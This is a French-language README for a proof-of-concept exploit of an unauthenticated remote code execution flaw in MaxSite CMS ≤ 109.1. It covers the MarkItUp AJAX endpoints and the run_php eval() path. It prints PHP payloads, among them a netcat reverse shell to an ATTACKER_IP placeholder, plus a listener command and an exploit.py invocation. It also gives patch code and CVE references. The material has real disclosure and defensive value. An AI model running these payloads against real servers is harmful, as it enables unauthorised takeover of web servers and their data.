
Preuve de concept d'exploitation pour l'exécution de code à distance non authentifiée dans MaxSite CMS <= 109.1 via les points de terminaison AJAX de l'éditeur MarkItUp, avec des charges utiles de détection et de shell inversé.
Vulnérabilité d'exécution de code à distance (RCE) non authentifiée dans MaxSite CMS ≤ 109.1.
La faille provient de contrôles d'autorisation faibles dans les points de terminaison AJAX du plugin d'éditeur MarkItUp, combinés à l'exécution non sécurisée de code PHP fourni par l'utilisateur via le plugin run_php.
La vulnérabilité affecte les fichiers suivants du plugin d'éditeur MarkItUp :
preview-ajax.phpautosave-post-ajax.phpCes points de terminaison :
run_php[php]...[/php] à l'aide de eval()Un attaquant peut envoyer une requête POST falsifiée à la route /ajax/ contenant un chemin interne encodé en Base64 et une charge utile PHP malveillante via le paramètre data, ce qui entraîne :
graph TD
A["Attacker"] -->|"Malicious POST Request"| B["AJAX Endpoint"]
B -->|"Referer Spoofing"| C["preview-ajax.php"]
C -->|"Unsanitized Input"| D["run_php Plugin"]
D -->|"eval() Execution"| E["Arbitrary PHP Execution"]
E -->|"Command Execution"| F["Compromised Server"]
run_php activé (par défaut courant)eval()Un exploit de preuve de concept en Python 3 (exploit.py) est inclus.
[php]echo 'RCE CONFIRMED - ' . phpversion();[/php]
[php]system('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP ATTACKER_PORT >/tmp/f');[/php]
nc -lvnp 9001
python3 exploit.py http://target.com --lhost 10.10.14.22 --lport 9001
run_php s'il n'est pas requisAjouter des contrôles d'authentification aux fichiers vulnérables :
if (!is_login()) {
die('Access denied');
}
mso_checkreferer();
Commit du correctif https://github.com/maxsite/cms/commit/08937a3c5d672a242d68f53e9fccf8a748820ef3
Entrée de vulnérabilité https://vuldb.com/?id.348281
Enregistrement NVD https://nvd.nist.gov/vuln/detail/CVE-2026-3395
Ce projet est fourni pour :
⚠️ Ne pas l'utiliser contre des systèmes sans autorisation explicite.
L'auteur décline toute responsabilité en cas d'utilisation abusive ou de dommages.
Mohammed Idrees Banyamer Jordanie 🇯🇴 Chercheur en sécurité
banyamer_security — Silent Hunter • Shadow Presence
Mars 2026